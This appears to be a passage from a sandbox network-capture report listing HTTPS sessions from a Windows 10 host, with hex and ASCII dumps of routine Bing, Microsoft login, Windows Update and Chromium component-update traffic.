.secondaryText:not(.secondaryMetadata):before{content:" - "}

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.16	49763	150.171.84.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:04 UTC	481	OUT	GET /apc/trans.gif?abf6b0b4363a8fb8ec7d6cce4a4b9cc3 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: p-ring.msedge.net Connection: Keep-Alive
2024-10-23 22:27:04 UTC	314	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:27:04 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Tue, 15 Oct 2024 12:39:15 GMT Connection: close ETag: "670e6273-2b" x-azure-ref: 20241023T222704Z-15b8d89586f6nn8zquf2vw6t54000000040g0000000082n8 X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-10-23 22:27:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49762	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:04 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4828 Host: login.live.com
2024-10-23 22:27:04 UTC	4828	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-23 22:27:04 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 23 Oct 2024 22:26:04 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: cdb47470-9755-4192-89e3-4c2ae696138c PPServer: PPV: 30 H: BL02EPF0001D902 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 23 Oct 2024 22:27:04 GMT Connection: close Content-Length: 11197
2024-10-23 22:27:04 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49766	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:06 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4762 Host: login.live.com
2024-10-23 22:27:06 UTC	4762	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-23 22:27:06 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 23 Oct 2024 22:26:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: a646f1f9-824a-4638-8c38-9326cda7b0e5 PPServer: PPV: 30 H: PH1PEPF00011EE0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 23 Oct 2024 22:27:06 GMT Connection: close Content-Length: 10197
2024-10-23 22:27:06 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49768	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:30 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6ELBXlAsbLdG2fF&MD=8cMuWYEm HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-23 22:27:31 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 66a66e7d-c10a-4aa4-b2e5-d9452bb71990 MS-RequestId: 47fdab27-f270-40a4-81dd-acc951df9118 MS-CV: YjVr1l7OwUubPd/n.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 23 Oct 2024 22:27:30 GMT Connection: close Content-Length: 30005
2024-10-23 22:27:31 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-23 22:27:31 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49769	142.250.113.94	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:42 UTC	1136	OUT	POST /service/update2/json?cup2key=13:l34qV1K8Cyu4VMIhZx4O9x7ulf2_4oGGXmxaNNSi-AI&cup2hreq=ab630f1d11e2c91fb83819bac2485cb9574d10950dd34d7dd4349d0aad870f96 HTTP/1.1 Host: update.googleapis.com Connection: keep-alive Content-Length: 2668 X-Goog-Update-AppId: gcmjkmgdlgnkkcocmoeiminaijmmjnii,obedbbhbpmojnkanicioggnmelmoomoc,kiabhabjdbkjdpjbpigfodbdjmbglcoo,giekcmmlnklenlaomppkphknjmnnpneh,khaoiebndkojlmppeemjhbpbandiljpe,hfnkpimlhhgieaddgfemjhofmfblmnib,llkgjffcdpffmhiakmfcdcblohccpfmo,laoigpblnllgcgjnjnllmfolckpjlhki,efniojlnjndmcbiieegkicadnoecjjef,jflookgnkcckhobaglndicnbbgbonegd,ggkkehgbnfjpeggfpleeakpidbkibbmn,jamhcnnkihinmdlkakkaopbjbbcngflc,ojhpjlocmbogdgmfpkhlaaeamibhnphh,hnimpnehoodheedghdeeijklkeaacbdc,eeigpngbgcognadeebkilcpcaedhellh,gonpemdgkjcecdgbnaabipppbmgfggbe X-Goog-Update-Interactivity: bg X-Goog-Update-Updater: chromium-114.0.5735.90 Content-Type: application/json Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br
2024-10-23 22:27:42 UTC	2668	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 40 6f 73 22 3a 22 77 69 6e 22 2c 22 40 75 70 64 61 74 65 72 22 3a 22 63 68 72 6f 6d 69 75 6d 22 2c 22 61 63 63 65 70 74 66 6f 72 6d 61 74 22 3a 22 63 72 78 33 22 2c 22 61 70 70 22 3a 5b 7b 22 61 70 70 69 64 22 3a 22 67 63 6d 6a 6b 6d 67 64 6c 67 6e 6b 6b 63 6f 63 6d 6f 65 69 6d 69 6e 61 69 6a 6d 6d 6a 6e 69 69 22 2c 22 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 47 42 22 2c 22 70 69 6e 67 22 3a 7b 22 72 22 3a 2d 32 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 7d 2c 22 76 65 72 73 69 6f 6e 22 3a 22 30 2e 30 2e 30 2e 30 22 7d 2c 7b 22 61 63 63 65 70 74 5f 6c 6f 63 61 6c 65 22 3a 22 45 4e 47 42 35 30 30 30 30 30 22 2c 22 61 70 70 69 64 22 3a 22 6f 62 65 64 62 62 68 62 70 6d 6f 6a 6e Data Ascii: {"request":{"@os":"win","@updater":"chromium","acceptformat":"crx3","app":[{"appid":"gcmjkmgdlgnkkcocmoeiminaijmmjnii","enabled":true,"lang":"en-GB","ping":{"r":-2},"updatecheck":{},"version":"0.0.0.0"},{"accept_locale":"ENGB500000","appid":"obedbbhbpmojn
2024-10-23 22:27:42 UTC	1135	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-D1BFtNG4YExHUazQVp898g' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 23 Oct 2024 22:27:42 GMT X-Cup-Server-Proof: 304402205c687c4a0022f2c6788aa164e8268ff7f5f9f3adaaf9d5bdbac1cb4932dd1b6702203c91bd8b44ba97c991a3bc735745cfe61082ec9d5f223501e36c47b2f21a489e:ab630f1d11e2c91fb83819bac2485cb9574d10950dd34d7dd4349d0aad870f96 ETag: W/"304402205c687c4a0022f2c6788aa164e8268ff7f5f9f3adaaf9d5bdbac1cb4932dd1b6702203c91bd8b44ba97c991a3bc735745cfe61082ec9d5f223501e36c47b2f21a489e:ab630f1d11e2c91fb83819bac2485cb9574d10950dd34d7dd4349d0aad870f96" Content-Type: application/json; charset=utf-8 Content-Length: 17224 X-Daynum: 6505 X-Daystart: 55662 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-23 22:27:42 UTC	1378	IN	Data Raw: 29 5d 7d 27 0a 7b 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 73 65 72 76 65 72 22 3a 22 70 72 6f 64 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 33 2e 31 22 2c 22 64 61 79 73 74 61 72 74 22 3a 7b 22 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 22 3a 35 35 36 36 32 2c 22 65 6c 61 70 73 65 64 5f 64 61 79 73 22 3a 36 35 30 35 7d 2c 22 61 70 70 22 3a 5b 7b 22 61 70 70 69 64 22 3a 22 67 63 6d 6a 6b 6d 67 64 6c 67 6e 6b 6b 63 6f 63 6d 6f 65 69 6d 69 6e 61 69 6a 6d 6d 6a 6e 69 69 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 62 6d 31 3a 32 6e 6a 6c 40 30 2e 35 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 53 74 61 62 6c 65 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 Data Ascii: )]}'{"response":{"server":"prod","protocol":"3.1","daystart":{"elapsed_seconds":55662,"elapsed_days":6505},"app":[{"appid":"gcmjkmgdlgnkkcocmoeiminaijmmjnii","cohort":"1:bm1:2njl@0.5","status":"ok","cohortname":"Stable","ping":{"status":"ok"},"updatechec
2024-10-23 22:27:42 UTC	1378	IN	Data Raw: 65 22 3a 22 41 75 74 6f 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 6f 66 62 69 37 37 37 37 71 68 72 74 7a 37 65 6b 7a 76 6d 79 79 75 76 67 6e 61 5f 32 30 32 34 31 30 31 32 2e 36 38 37 34 37 38 37 38 30 2e 31 34 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 Data Ascii: e":"Auto","ping":{"status":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acofbi7777qhrtz7ekzvmyyuvgna_20241012.687478780.14/"},{"codebase":"https://edgedl.me.gvt1.com/edgedl/relea
2024-10-23 22:27:42 UTC	1378	IN	Data Raw: 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 63 78 78 71 6e 36 35 34 66 67 37 68 7a 72 63 72 72 6e 71 63 6e 69 71 71 79 65 5f 32 30 32 34 2e 31 30 2e 31 31 2e 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 63 78 78 71 6e 36 35 34 66 67 37 68 7a 72 63 72 72 6e 71 63 6e 69 71 71 79 65 5f 32 30 32 34 2e 31 30 2e 31 31 2e 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 64 6c 2e 67 6f Data Ascii: "codebase":"http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/cxxqn654fg7hzrcrrnqcniqqye_2024.10.11.1/"},{"codebase":"https://edgedl.me.gvt1.com/edgedl/release2/chrome_component/cxxqn654fg7hzrcrrnqcniqqye_2024.10.11.1/"},{"codebase":"http://dl.go
2024-10-23 22:27:42 UTC	1378	IN	Data Raw: 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 56 33 50 31 6c 32 68 4c 76 4c 77 5f 37 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 56 33 50 31 6c 32 68 4c 76 4c 77 5f 37 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 56 33 50 31 6c 32 68 4c 76 4c 77 Data Ascii: "},{"codebase":"https://edgedl.me.gvt1.com/edgedl/release2/chrome_component/V3P1l2hLvLw_7/"},{"codebase":"https://redirector.gvt1.com/edgedl/release2/chrome_component/V3P1l2hLvLw_7/"},{"codebase":"http://dl.google.com/release2/chrome_component/V3P1l2hLvLw
2024-10-23 22:27:42 UTC	1378	IN	Data Raw: 79 68 64 67 76 74 34 71 5f 36 37 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 36 6d 68 6c 77 79 70 7a 69 70 6e 75 66 69 6a 64 76 66 79 68 64 67 76 74 34 71 5f 36 37 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 36 6d 68 6c 77 79 70 7a 69 70 6e 75 66 69 6a 64 76 66 79 68 64 67 76 74 34 71 5f 36 37 2f 22 7d 5d 7d 2c 22 6d 61 6e 69 66 65 73 74 22 3a 7b 22 76 65 72 73 69 6f 6e 22 3a 22 36 37 22 2c 22 70 61 63 6b 61 67 65 73 22 3a 7b Data Ascii: yhdgvt4q_67/"},{"codebase":"http://www.google.com/dl/release2/chrome_component/ac6mhlwypzipnufijdvfyhdgvt4q_67/"},{"codebase":"https://www.google.com/dl/release2/chrome_component/ac6mhlwypzipnufijdvfyhdgvt4q_67/"}]},"manifest":{"version":"67","packages":{
2024-10-23 22:27:42 UTC	1378	IN	Data Raw: 76 65 72 73 69 6f 6e 22 3a 22 39 32 33 35 22 2c 22 70 61 63 6b 61 67 65 73 22 3a 7b 22 70 61 63 6b 61 67 65 22 3a 5b 7b 22 68 61 73 68 5f 73 68 61 32 35 36 22 3a 22 39 37 38 35 37 31 64 65 65 33 65 39 36 38 32 38 39 65 33 61 30 30 39 61 39 38 64 65 36 32 64 35 39 64 37 36 64 36 32 35 63 34 65 64 63 38 38 64 36 66 36 65 33 39 66 66 66 64 63 39 33 30 61 64 22 2c 22 73 69 7a 65 22 3a 32 36 30 33 33 2c 22 6e 61 6d 65 22 3a 22 68 66 6e 6b 70 69 6d 6c 68 68 67 69 65 61 64 64 67 66 65 6d 6a 68 6f 66 6d 66 62 6c 6d 6e 69 62 5f 39 32 33 35 5f 61 6c 6c 5f 6a 6b 66 63 6b 71 7a 33 77 70 34 69 70 76 72 37 63 71 37 6c 79 61 66 37 77 6d 2e 63 72 78 33 22 2c 22 66 70 22 3a 22 31 2e 39 37 38 35 37 31 64 65 65 33 65 39 36 38 32 38 39 65 33 61 30 30 39 61 39 38 64 65 36 32 Data Ascii: version":"9235","packages":{"package":[{"hash_sha256":"978571dee3e968289e3a009a98de62d59d76d625c4edc88d6f6e39fffdc930ad","size":26033,"name":"hfnkpimlhhgieaddgfemjhofmfblmnib_9235_all_jkfckqz3wp4ipvr7cq7lyaf7wm.crx3","fp":"1.978571dee3e968289e3a009a98de62
2024-10-23 22:27:42 UTC	1378	IN	Data Raw: 74 22 3a 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 2e 30 2e 31 37 22 2c 22 70 61 63 6b 61 67 65 73 22 3a 7b 22 70 61 63 6b 61 67 65 22 3a 5b 7b 22 68 61 73 68 5f 73 68 61 32 35 36 22 3a 22 32 36 33 38 65 33 63 32 64 31 66 61 31 64 34 31 37 62 66 64 63 33 31 64 64 32 31 62 63 39 33 38 66 31 30 36 64 33 62 34 33 36 61 36 34 38 38 62 34 31 62 30 31 34 63 61 39 65 32 62 37 35 34 31 22 2c 22 73 69 7a 65 22 3a 33 31 34 35 2c 22 6e 61 6d 65 22 3a 22 31 2e 30 2e 30 2e 31 37 5f 6c 6c 6b 67 6a 66 66 63 64 70 66 66 6d 68 69 61 6b 6d 66 63 64 63 62 6c 6f 68 63 63 70 66 6d 6f 2e 63 72 78 22 2c 22 66 70 22 3a 22 31 2e 32 36 33 38 65 33 63 32 64 31 66 61 31 64 34 31 37 62 66 64 63 33 31 64 64 32 31 62 63 39 33 38 66 31 30 36 64 33 62 34 33 36 61 36 34 38 38 62 34 31 Data Ascii: 